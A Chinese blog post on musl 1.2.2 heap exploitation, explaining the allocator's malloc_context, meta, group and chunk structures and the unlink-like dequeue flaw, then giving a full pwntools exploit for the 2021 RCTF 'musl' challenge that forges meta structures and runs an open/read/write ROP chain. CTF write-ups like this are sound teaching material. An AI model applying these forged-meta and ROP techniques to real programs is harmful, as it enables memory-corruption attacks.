1.2.2 musl pwn

几个结构

__malloc_context(与glibc中的main_arena类似)

  1. struct malloc_context {
  2. uint64_t secret;
  3. #ifndef PAGESIZE
  4. size_t pagesize;
  5. #endif
  6. int init_done;
  7. unsigned mmap_counter;
  8. struct meta *free_meta_head;
  9. struct meta *avail_meta;
  10. size_t avail_meta_count, avail_meta_area_count, meta_alloc_shift;
  11. struct meta_area *meta_area_head, *meta_area_tail;
  12. unsigned char *avail_meta_areas;
  13. struct meta *active[48];
  14. size_t usage_by_class[48];
  15. uint8_t unmap_seq[32], bounces[32];
  16. uint8_t seq;
  17. uintptr_t brk;
  18. };

active 与glibc中的bins类似,并且有自己独特的方法来计算chunk的大小)

  1. const uint16_t size_classes[] = {
  2. 1, 2, 3, 4, 5, 6, 7, 8,
  3. 9, 10, 12, 15,
  4. 18, 20, 25, 31,
  5. 36, 42, 50, 63,
  6. 72, 84, 102, 127,
  7. 146, 170, 204, 255,
  8. 292, 340, 409, 511,
  9. 584, 682, 818, 1023,
  10. 1169, 1364, 1637, 2047,
  11. 2340, 2730, 3276, 4095,
  12. 4680, 5460, 6552, 8191,
  13. };
  14. #define IB 4
  15. static inline int a_ctz_32(uint32_t x)
  16. {
  17. #ifdef a_clz_32
  18. return 31-a_clz_32(x&-x);
  19. #else
  20. static const char debruijn32[32] = {
  21. 0, 1, 23, 2, 29, 24, 19, 3, 30, 27, 25, 11, 20, 8, 4, 13,
  22. 31, 22, 28, 18, 26, 10, 7, 12, 21, 17, 9, 6, 16, 5, 15, 14
  23. };
  24. return debruijn32[(x&-x)*0x076be629 >> 27];
  25. #endif
  26. }
  27. static inline int a_clz_32(uint32_t x)
  28. {
  29. x >>= 1;
  30. x |= x >> 1;
  31. x |= x >> 2;
  32. x |= x >> 4;
  33. x |= x >> 8;
  34. x |= x >> 16;
  35. x++;
  36. return 31-a_ctz_32(x);
  37. }
  38. static inline int size_to_class(size_t n)
  39. {
  40. n = (n+IB-1)>>4;
  41. if (n<10) return n;
  42. n++;
  43. int i = (28-a_clz_32(n))*4 + 8;
  44. if (n>size_classes[i+1]) i+=2;
  45. if (n>size_classes[i]) i++;
  46. return i;
  47. }

meta

  1. struct meta {
  2. struct meta *prev, *next; // meta是一个双向链表
  3. struct group *mem;
  4. volatile int avail_mask, freed_mask;
  5. uintptr_t last_idx:5;
  6. uintptr_t freeable:1;
  7. uintptr_t sizeclass:6;
  8. uintptr_t maplen:8*sizeof(uintptr_t)-12;
  9. };

meta_arena

  1. struct meta_area {
  2. uint64_t check;
  3. struct meta_area *next;
  4. int nslots;
  5. struct meta slots[];
  6. };

group

  1. #define UNIT 16
  2. #define IB 4
  3. struct group {
  4. struct meta *meta;
  5. unsigned char active_idx:5;
  6. char pad[UNIT - sizeof(struct meta *) - 1];//padding=0x10B
  7. unsigned char storage[];// chunks
  8. };

chunk

  1. struct chunk{
  2. char prev_user_data[];
  3. uint8_t idx; //低5bit为idx第几个chunk
  4. uint16_t offset; //与第一个chunk起始地址的偏移,实际地址偏移为offset * UNIT,详细请看get_meta源码中得到group地址的而过程!
  5. char data[];
  6. };

漏洞点

  1. static inline void dequeue(struct meta **phead, struct meta *m)
  2. {
  3. if (m->next != m) {
  4. m->prev->next = m->next;
  5. m->next->prev = m->prev;
  6. if (*phead == m) *phead = m->next;
  7. } else {
  8. *phead = 0;
  9. }
  10. m->prev = m->next = 0;
  11. }

源码里有一个与unsafe unlink类似的地方,可以实现任意地址写。

绕过检查

给一个绕过检查,伪造meta的示例

  1. # fake_meta_area
  2. payload+= p64(secret) + p64(0)
  3. # fake_meta
  4. payload+= p64(fake__stdout_used) + p64(__stdout_used_ptr) # prev next
  5. payload+= p64(fake_group) # mem
  6. payload+= p32(0x7f-1)+p32(0) # avail_mask=0x7e freed_mask=0
  7. maplen = 1
  8. freeable = 1
  9. sizeclass = 1
  10. last_idx = 6
  11. last_value = last_idx | (freeable << 5) | (sizeclass << 6) | (maplen << 12)
  12. payload+= p64(last_value)+p64(0)
  13. add(index, 0x1500, payload)

例题 2021RCTF-musl

本题的漏洞点是,在申请大小为0时,会导致一个堆溢出的出现。利用这个泄露出,libc和secret,即可伪造meta_area及meta

  1. from pwn import*
  2. context(os='linux',arch='amd64',log_level='debug')
  3. s = process('./r')
  4. def add(index,size,content):
  5. s.sendlineafter(b'>>', b'1')
  6. s.sendlineafter(b'idx?\n', str(index))
  7. s.sendlineafter(b'size?\n', str(size))
  8. s.sendafter(b'Contnet?\n', content)
  9. def delete(index):
  10. s.sendlineafter(b'>>', b'2')
  11. s.sendlineafter(b'idx?\n', str(index))
  12. def show(index):
  13. s.sendlineafter(b'>>', b'3')
  14. s.sendlineafter(b'idx?\n', str(index))
  15. for i in range(15):
  16. add(i, 1, "")
  17. delete(0)
  18. add(0, 0, b'a'*0xF+b'\n')
  19. show(0)
  20. libc_base = u64(s.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x298d50
  21. __stdout_used_ptr = libc_base + 0x295450
  22. __malloc_context = libc_base + 0x295ae0
  23. magic_gadget = libc_base + 0x000000000004a5ae #mov rsp, qword ptr [rdi + 0x30]; jmp qword ptr [rdi + 0x38];
  24. pop_rdi_ret = libc_base + 0x0000000000014b82
  25. pop_rsi_ret = libc_base + 0x000000000001b27a
  26. pop_rdx_ret = libc_base + 0x0000000000009328
  27. pop_rax_ret = libc_base + 0x000000000001b8fd
  28. syscall_ret = libc_base + 0x0000000000023711
  29. ret = libc_base + 0x0000000000000598
  30. success('[+]libc_base=>' + hex(libc_base))
  31. delete(2)
  32. add(2, 0, b'a'*0x10+ p64(__malloc_context)+b'\n')
  33. show(3)
  34. s.recvuntil(b'Content: ')
  35. secret = u64(s.recv(8))
  36. success('[+]secret=>' + hex(secret))
  37. chunk_addr = libc_base + 0x290020
  38. fake__stdout_used = chunk_addr + 0x30
  39. fake_group = libc_base + 0x298dd0
  40. payload = p64(libc_base + 0x291010) # fake group->meta
  41. payload+= p64(0x000c0c000000000b)
  42. payload+= p64(libc_base + 0x298df0) + b'\x00'*5 + p8(0) + p16(1)
  43. payload+= b'\n'
  44. delete(5)
  45. add(5, 0, payload)
  46. gdb.attach(s)
  47. pause()
  48. payload = b'./ctf/flag\x00'
  49. payload = payload.ljust(0x30,b'\x00')
  50. payload+= b'\x00'*0x30+p64(chunk_addr + 0x100)
  51. payload+= p64(ret)
  52. payload+= p64(0) + p64(magic_gadget) # mov rsp, qword ptr [rdi + 0x30]; jmp qword ptr [rdi + 0x38]
  53. payload = payload.ljust(0x100,b'\x00')
  54. payload+= p64(pop_rdi_ret) + p64(chunk_addr)
  55. payload+= p64(pop_rsi_ret) + p64(0)
  56. payload+= p64(pop_rdx_ret) + p64(0)
  57. payload+= p64(pop_rax_ret) + p64(2)
  58. payload+= p64(syscall_ret)
  59. payload+= p64(pop_rdi_ret) + p64(3)
  60. payload+= p64(pop_rsi_ret) + p64(chunk_addr)
  61. payload+= p64(pop_rdx_ret) + p64(0x100)
  62. payload+= p64(pop_rax_ret) + p64(0)
  63. payload+= p64(syscall_ret)
  64. payload+= p64(pop_rdi_ret) + p64(1)
  65. payload+= p64(pop_rsi_ret) + p64(chunk_addr)
  66. payload+= p64(pop_rdx_ret) + p64(0x100)
  67. payload+= p64(pop_rax_ret) + p64(1)
  68. payload+= p64(syscall_ret)
  69. payload = payload.ljust(0x1000-0x20, b'\x00')
  70. # fake_meta_area
  71. payload+= p64(secret) + p64(0)
  72. # fake_meta
  73. payload+= p64(fake__stdout_used) + p64(__stdout_used_ptr) # prev next
  74. payload+= p64(fake_group) # mem
  75. payload+= p32(0x7f-1)+p32(0) # avail_mask=0x7e freed_mask=0
  76. maplen = 1
  77. freeable = 1
  78. sizeclass = 1
  79. last_idx = 6
  80. last_value = last_idx | (freeable << 5) | (sizeclass << 6) | (maplen << 12)
  81. payload+= p64(last_value)+p64(0)
  82. payload+= b'\n'
  83. add(15, 0x1500, payload)
  84. delete(6)
  85. s.sendlineafter(">>",b"4")
  86. #gdb.attach(s)
  87. s.interactive()

1.2.2 musl pwn的更多相关文章

  1. Pwn~

    Pwn Collections Date from 2016-07-11 Difficult rank: $ -> $$... easy -> hard CISCN 2016 pwn-1 ...

  2. iscc2016 pwn部分writeup

    一.pwn1 简单的32位栈溢出,定位溢出点后即可写exp gdb-peda$ r Starting program: /usr/iscc/pwn1 C'mon pwn me : AAA%AAsAAB ...

  3. i春秋30强挑战赛pwn解题过程

    80pts: 栈溢出,gdb调试发现发送29控制eip,nx:disabled,所以布置好shellcode后getshell from pwn import * #p=process('./tc1' ...

  4. SSCTF Final PWN

    比赛过去了两个月了,抽出时间,将当时的PWN给总结一下. 和线上塞的题的背景一样,只不过洞不一样了.Checksec一样,发现各种防护措施都开了. 程序模拟了简单的堆的管理,以及cookie的保护机制 ...

  5. pwn学习(1)

    0x00 简介 入职之后,公司发布任务主搞pwn和re方向,re之前还有一定的了解,pwn我可真是个弟弟,百度了一番找到了蒸米大佬的帖子,现在开始学习. 0x01 保护方式 NX (DEP):堆栈不可 ...

  6. pwn学习之四

    本来以为应该能出一两道ctf的pwn了,结果又被sctf打击了一波. bufoverflow_a 做这题时libc和堆地址都泄露完成了,卡在了unsorted bin attack上,由于delete ...

  7. pwn学习之三

    whctf2017的一道pwn题sandbox,这道题提供了两个可执行文件加一个libc,两个可执行文件是一个vuln,一个sandbox,这是一道通过沙盒去保护vuln不被攻击的题目. 用ida打开 ...

  8. pwn学习之二

    刚刚开始学习pwn,记录一下自己学习的过程. 今天get了第二道pwn题目的解答,做的题目是2017年TSCTF的easy fsb,通过这道题了解了一种漏洞和使用该漏洞获取shell的方法:即格式化字 ...

  9. pwn学习之一

    刚刚开始学习pwn,记录一下自己学习的过程. 今天完成了第一道pwn题目的解答,做的题目是2017年TSCTF的bad egg,通过这道题学习到了一种getshell的方法:通过在大小不够存储shel ...

随机推荐

  1. 选择结构——if控制语句单、双、多分支结构

    1.if控制语句 概念: if控制语句共有3种不同形式,分别是单分支结构.双分支结构和多分支结构. (1)使用 if 语句实现单分支处理 语法格式: if(表达式){ 语句 } 流程图: 执行步骤: ...

  2. Spring源码 13 IOC refresh方法8

    本文章基于 Spring 5.3.15 Spring IOC 的核心是 AbstractApplicationContext 的 refresh 方法. 其中一共有 13 个主要方法,这里分析第 8 ...

  3. iommu分析之---smmu v3的实现

    smmu 除了完成 iommu 的统一的ops 之外,有自己独特的一些地方. 1.Stream Table Stream Table是存在内存中的一张表,在SMMU设备初始化的时候由驱动程序创建好. ...

  4. Semaphore-停车场

    模拟20辆车进停车场 停车场容纳总停车量5. 当一辆车进入停车场后,显示牌的剩余车位数响应的减1. 每有一辆车驶出停车场后,显示牌的剩余车位数响应的加1. 停车场剩余车位不足时,车辆只能在外面等待 p ...

  5. CF1528C Trees of Tranquillity(图论,数据结构)

    题面 有两棵 n n n 个点的有根树 T 1 T_1 T1​, T 2 T_2 T2​,根是 1 1 1 ,共用编号 1 1 1~ n n n.求最大的点集 S S S 满足每个点在 T 1 T_1 ...

  6. IO流----读取文件,复制文件,追加/插入文件

    文件结构 读取文件 第一种方式 public class Test { public static void main(String[] args) throws IOException { // 最 ...

  7. 应用性能监控:SkyWalking

    目录 SkyWalking 简介 SkyWalking 搭建 平台后端(Backend) 平台前端(UI) Java Agent(Java 应用监控) Java Agent 下载 Java 演练项目 ...

  8. 大促活动如何抵御大流量 DDoS 攻击?

    每一次活动大促带来的迅猛流量,对技术人而言都是一次严峻考验.如果在活动期间遭受黑产恶意DDoS攻击,无疑是雪上加霜.电商的特性是业务常态下通常不会遭受大流量DDoS攻击,且对延迟敏感,因此只需要在活动 ...

  9. KingbaseES TOAST存储方式

    KingbaseES为"大字段"的物理存储提供了TOAST功能,通过合适的配置策略能够减少IO次数和扫描块数,进而提升查询速度. TOAST:The Oversized-Attri ...

  10. gem5 使用记录, 基于理解来写个最简单的计数器程序

    学习GEM5其实是因为工作需要,主要是用来做数字电路的模型仿真的,之前用过 systemC,现在公司用的 gem5,其实本质上都是 C++只是套个不同的壳然后拿去仿真而已,SC本身就提供了时钟可以仿真 ...